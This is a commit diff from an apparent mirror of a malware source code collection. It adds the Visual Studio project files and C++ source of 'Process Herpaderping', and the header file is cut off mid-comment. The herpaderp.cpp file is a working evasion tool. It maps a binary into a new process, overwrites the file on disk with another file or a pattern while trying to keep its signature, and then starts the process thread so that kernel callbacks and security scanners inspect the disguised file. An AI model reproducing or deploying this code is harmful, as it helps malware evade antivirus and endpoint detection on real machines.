mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
updates and moves
n/a
This commit is contained in:
+204
@@ -0,0 +1,204 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="herpaderp.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="utils.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="herpaderp.hpp" />
|
||||
<ClInclude Include="pch.hpp" />
|
||||
<ClInclude Include="res\resource.h" />
|
||||
<ClInclude Include="res\version.h" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Icon.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="res\resource.rc" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<ProjectGuid>{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>ProcessHerpaderping</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="herpaderp.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="utils.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="herpaderp.hpp" />
|
||||
<ClInclude Include="pch.hpp" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
<ClInclude Include="res\resource.h">
|
||||
<Filter>res</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="res\version.h">
|
||||
<Filter>res</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="res">
|
||||
<UniqueIdentifier>{c0d5b2bf-b92e-4174-b0c8-967949174b21}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="res\resource.rc">
|
||||
<Filter>res</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Icon.ico">
|
||||
<Filter>res</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,436 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/herpaderp.cpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Herpaderping Functionality
|
||||
//
|
||||
#include "pch.hpp"
|
||||
#include "herpaderp.hpp"
|
||||
#include "utils.hpp"
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Herpaderp::ExecuteProcess(
|
||||
const std::wstring& SourceFileName,
|
||||
const std::wstring& TargetFileName,
|
||||
const std::optional<std::wstring>& ReplaceWithFileName,
|
||||
std::span<const uint8_t> Pattern,
|
||||
uint32_t Flags)
|
||||
{
|
||||
if (FlagOn(Flags, FlagHoldHandleExclusive) &&
|
||||
FlagOn(Flags, FlagCloseFileEarly))
|
||||
{
|
||||
//
|
||||
// Incompatible flags.
|
||||
//
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
if (FlagOn(Flags, FlagWaitForProcess) &&
|
||||
FlagOn(Flags, FlagKillSpawnedProcess))
|
||||
{
|
||||
//
|
||||
// Incompatible flags.
|
||||
//
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
wil::unique_handle processHandle;
|
||||
//
|
||||
// If something goes wrong, we'll terminate the process.
|
||||
//
|
||||
auto terminateProcess = wil::scope_exit([&processHandle]() -> void
|
||||
{
|
||||
if (processHandle.is_valid())
|
||||
{
|
||||
TerminateProcess(processHandle.get(), 0);
|
||||
}
|
||||
});
|
||||
|
||||
Utils::Log(Log::Success, L"Source File: \"%ls\"", SourceFileName.c_str());
|
||||
Utils::Log(Log::Success, L"Target File: \"%ls\"", TargetFileName.c_str());
|
||||
|
||||
//
|
||||
// Open the source binary and the target file we will execute it from.
|
||||
//
|
||||
wil::unique_handle sourceHandle;
|
||||
sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ |
|
||||
FILE_SHARE_WRITE |
|
||||
FILE_SHARE_DELETE,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr));
|
||||
if (!sourceHandle.is_valid())
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
|
||||
GetLastError(),
|
||||
L"Failed to open source file"));
|
||||
}
|
||||
|
||||
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
|
||||
if (FlagOn(Flags, FlagHoldHandleExclusive))
|
||||
{
|
||||
Utils::Log(Log::Information,
|
||||
L"Creating target file with exclusive access");
|
||||
shareMode = 0;
|
||||
}
|
||||
|
||||
wil::unique_handle targetHandle;
|
||||
targetHandle.reset(CreateFileW(TargetFileName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
shareMode,
|
||||
nullptr,
|
||||
CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr));
|
||||
if(!targetHandle.is_valid())
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
|
||||
GetLastError(),
|
||||
L"Failed to create target file"));
|
||||
}
|
||||
|
||||
//
|
||||
// Copy the content of the source process to the target.
|
||||
//
|
||||
HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
|
||||
targetHandle.get());
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to copy source binary to target file");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information, L"Copied source binary to target file");
|
||||
|
||||
//
|
||||
// We're done with the source binary.
|
||||
//
|
||||
sourceHandle.reset();
|
||||
|
||||
//
|
||||
// Map and create the target process. We'll make it all derpy in a moment...
|
||||
//
|
||||
wil::unique_handle sectionHandle;
|
||||
auto status = NtCreateSection(§ionHandle,
|
||||
SECTION_ALL_ACCESS,
|
||||
nullptr,
|
||||
nullptr,
|
||||
PAGE_READONLY,
|
||||
SEC_IMAGE,
|
||||
targetHandle.get());
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
sectionHandle.release();
|
||||
RETURN_NTSTATUS(Utils::Log(
|
||||
Log::Error,
|
||||
status,
|
||||
L"Failed to create target file image section"));
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information, L"Created image section for target");
|
||||
|
||||
status = NtCreateProcessEx(&processHandle,
|
||||
PROCESS_ALL_ACCESS,
|
||||
nullptr,
|
||||
NtCurrentProcess(),
|
||||
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
|
||||
sectionHandle.get(),
|
||||
nullptr,
|
||||
nullptr,
|
||||
0);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
processHandle.release();
|
||||
RETURN_NTSTATUS(Utils::Log(Log::Error,
|
||||
status,
|
||||
L"Failed to create process"));
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information,
|
||||
L"Created process object, PID %lu",
|
||||
GetProcessId(processHandle.get()));
|
||||
|
||||
//
|
||||
// Alright we have the process set up, we don't need the section.
|
||||
//
|
||||
sectionHandle.reset();
|
||||
|
||||
//
|
||||
// Go get the remote entry RVA to create a thread later on.
|
||||
//
|
||||
uint32_t imageEntryPointRva;
|
||||
hr = Utils::GetImageEntryPointRva(targetHandle.get(),
|
||||
imageEntryPointRva);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to get target file image entry RVA");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information,
|
||||
L"Located target image entry RVA 0x%08x",
|
||||
imageEntryPointRva);
|
||||
|
||||
//
|
||||
// Alright, depending on the parameter passed in. We will either:
|
||||
// A. Overwrite the target binary with another.
|
||||
// B. Overwrite the target binary with a pattern.
|
||||
//
|
||||
if (ReplaceWithFileName.has_value())
|
||||
{
|
||||
//
|
||||
// (A) We are overwriting the binary with another file.
|
||||
//
|
||||
Utils::Log(Log::Success,
|
||||
L"Replacing target with \"%ls\"",
|
||||
ReplaceWithFileName->c_str());
|
||||
|
||||
wil::unique_handle replaceWithHandle;
|
||||
replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ |
|
||||
FILE_SHARE_WRITE |
|
||||
FILE_SHARE_DELETE,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr));
|
||||
|
||||
if (!replaceWithHandle.is_valid())
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(Utils::Log(
|
||||
Log::Error,
|
||||
GetLastError(),
|
||||
L"Failed to open replace with file"));
|
||||
}
|
||||
|
||||
//
|
||||
// Replace the bytes. We handle a failure here. We'll fix it up after.
|
||||
//
|
||||
hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
|
||||
targetHandle.get(),
|
||||
FlagOn(Flags, FlagFlushFile));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to replace target file");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
|
||||
//
|
||||
// This error occurs when trying to truncate a file that has a
|
||||
// user mapping open. In other words, the file we tried to replace
|
||||
// with was smaller than the original.
|
||||
// Let's fix up the replacement to hide the original bytes and
|
||||
// retain any signer info.
|
||||
//
|
||||
Utils::Log(Log::Information,
|
||||
L"Fixing up target replacement, "
|
||||
L"hiding original bytes and retaining any signature");
|
||||
|
||||
uint64_t replaceWithSize;
|
||||
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to get replace with file size");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
|
||||
uint32_t bytesWritten = 0;
|
||||
hr = Utils::OverwriteFileAfterWithPattern(
|
||||
targetHandle.get(),
|
||||
replaceWithSize,
|
||||
Pattern,
|
||||
bytesWritten,
|
||||
FlagOn(Flags, FlagFlushFile));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Warning,
|
||||
hr,
|
||||
L"Failed to hide original file bytes");
|
||||
}
|
||||
else
|
||||
{
|
||||
hr = Utils::ExtendFileSecurityDirectory(
|
||||
targetHandle.get(),
|
||||
bytesWritten,
|
||||
FlagOn(Flags, FlagFlushFile));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Warning,
|
||||
hr,
|
||||
L"Failed to retain file signature");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//
|
||||
// (B) Just overwrite the target binary with a pattern.
|
||||
//
|
||||
Utils::Log(Log::Success, L"Overwriting target with pattern");
|
||||
|
||||
hr = Utils::OverwriteFileContentsWithPattern(
|
||||
targetHandle.get(),
|
||||
Pattern,
|
||||
FlagOn(Flags, FlagFlushFile));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to write pattern over file");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Alright, at this point the process is going to be derpy enough.
|
||||
// Do the work necessary to make it execute.
|
||||
//
|
||||
Utils::Log(Log::Success, L"Preparing target for execution");
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
status = NtQueryInformationProcess(processHandle.get(),
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(pbi),
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
RETURN_NTSTATUS(Utils::Log(Log::Error,
|
||||
status,
|
||||
L"Failed to query new process info"));
|
||||
}
|
||||
|
||||
PEB peb{};
|
||||
if (!ReadProcessMemory(processHandle.get(),
|
||||
pbi.PebBaseAddress,
|
||||
&peb,
|
||||
sizeof(peb),
|
||||
nullptr))
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
|
||||
GetLastError(),
|
||||
L"Failed to read remote process PEB"));
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information,
|
||||
L"Writing process parameters, remote PEB ProcessParameters 0x%p",
|
||||
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
|
||||
|
||||
hr = Utils::WriteRemoteProcessParameters(
|
||||
processHandle.get(),
|
||||
TargetFileName,
|
||||
std::nullopt,
|
||||
std::nullopt,
|
||||
(L"\"" + TargetFileName + L"\""),
|
||||
NtCurrentPeb()->ProcessParameters->Environment,
|
||||
TargetFileName,
|
||||
L"WinSta0\\Default",
|
||||
std::nullopt,
|
||||
std::nullopt);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
Utils::Log(Log::Error,
|
||||
hr,
|
||||
L"Failed to write remote process parameters");
|
||||
RETURN_HR(hr);
|
||||
}
|
||||
|
||||
if (FlagOn(Flags, FlagCloseFileEarly))
|
||||
{
|
||||
//
|
||||
// Caller wants to close the file early, before the notification
|
||||
// callback in the kernel would fire, do so.
|
||||
//
|
||||
targetHandle.reset();
|
||||
}
|
||||
|
||||
//
|
||||
// Create the initial thread, when this first thread is inserted the
|
||||
// process create callback will fire in the kernel.
|
||||
//
|
||||
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
|
||||
|
||||
Utils::Log(Log::Information,
|
||||
L"Creating thread in process at entry point 0x%p",
|
||||
remoteEntryPoint);
|
||||
|
||||
wil::unique_handle threadHandle;
|
||||
status = NtCreateThreadEx(&threadHandle,
|
||||
THREAD_ALL_ACCESS,
|
||||
nullptr,
|
||||
processHandle.get(),
|
||||
remoteEntryPoint,
|
||||
nullptr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
nullptr);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
threadHandle.release();
|
||||
RETURN_NTSTATUS(Utils::Log(Log::Error,
|
||||
status,
|
||||
L"Failed to create remote thread"));
|
||||
}
|
||||
|
||||
Utils::Log(Log::Information,
|
||||
L"Created thread, TID %lu",
|
||||
GetThreadId(threadHandle.get()));
|
||||
|
||||
if (!FlagOn(Flags, FlagKillSpawnedProcess))
|
||||
{
|
||||
//
|
||||
// Process was executed successfully. Do not terminate.
|
||||
//
|
||||
terminateProcess.release();
|
||||
}
|
||||
|
||||
if (!FlagOn(Flags, FlagHoldHandleExclusive))
|
||||
{
|
||||
//
|
||||
// We're done with the target file handle. At this point the process
|
||||
// create callback will have fired in the kernel.
|
||||
//
|
||||
targetHandle.reset();
|
||||
}
|
||||
|
||||
if (FlagOn(Flags, FlagWaitForProcess))
|
||||
{
|
||||
//
|
||||
// Wait for the process to exit.
|
||||
//
|
||||
Utils::Log(Log::Success, L"Waiting for herpaderped process to exit");
|
||||
|
||||
WaitForSingleObject(processHandle.get(), INFINITE);
|
||||
|
||||
DWORD targetExitCode = 0;
|
||||
GetExitCodeProcess(processHandle.get(), &targetExitCode);
|
||||
|
||||
Utils::Log(Log::Success,
|
||||
L"Herpaderped process exited with code 0x%08x",
|
||||
targetExitCode);
|
||||
}
|
||||
else
|
||||
{
|
||||
Utils::Log(Log::Success, L"Successfully spawned herpaderped process");
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/herpaderp.hpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Herpaderping Functionality
|
||||
//
|
||||
#pragma once
|
||||
|
||||
namespace Herpaderp
|
||||
{
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
|
||||
/// <summary>
|
||||
/// Waits for process to exit before returning.
|
||||
/// </summary>
|
||||
constexpr static uint32_t FlagWaitForProcess = 0x00000001ul;
|
||||
|
||||
/// <summary>
|
||||
/// Opens and hold the target file handle exclusive for as long as
|
||||
/// reasonable. This flag is incompatible with FlagCloseFileEarly.
|
||||
/// </summary>
|
||||
constexpr static uint32_t FlagHoldHandleExclusive = 0x00000002ul;
|
||||
|
||||
/// <summary>
|
||||
/// Flushes file buffers of target file.
|
||||
/// </summary>
|
||||
constexpr static uint32_t FlagFlushFile = 0x00000004ul;
|
||||
|
||||
/// <summary>
|
||||
/// Closes the file handle early, before creating the initial thread
|
||||
/// (before process notification would fire in the kernel). This flag is
|
||||
/// not compatible with FlagHoldHandleExclusive.
|
||||
/// </summary>
